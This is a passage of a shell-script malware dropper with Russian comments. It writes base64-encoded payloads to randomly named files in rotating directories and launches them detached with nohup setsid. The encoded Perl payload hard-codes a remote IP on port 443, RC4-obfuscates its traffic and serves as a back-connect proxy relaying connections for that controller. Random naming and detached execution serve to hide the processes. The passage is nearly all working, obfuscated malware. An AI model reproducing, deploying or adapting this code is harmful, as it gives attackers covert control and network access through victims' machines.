Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #46 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #46 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 47 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzYyLjYwLjEzMS4xOTQnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 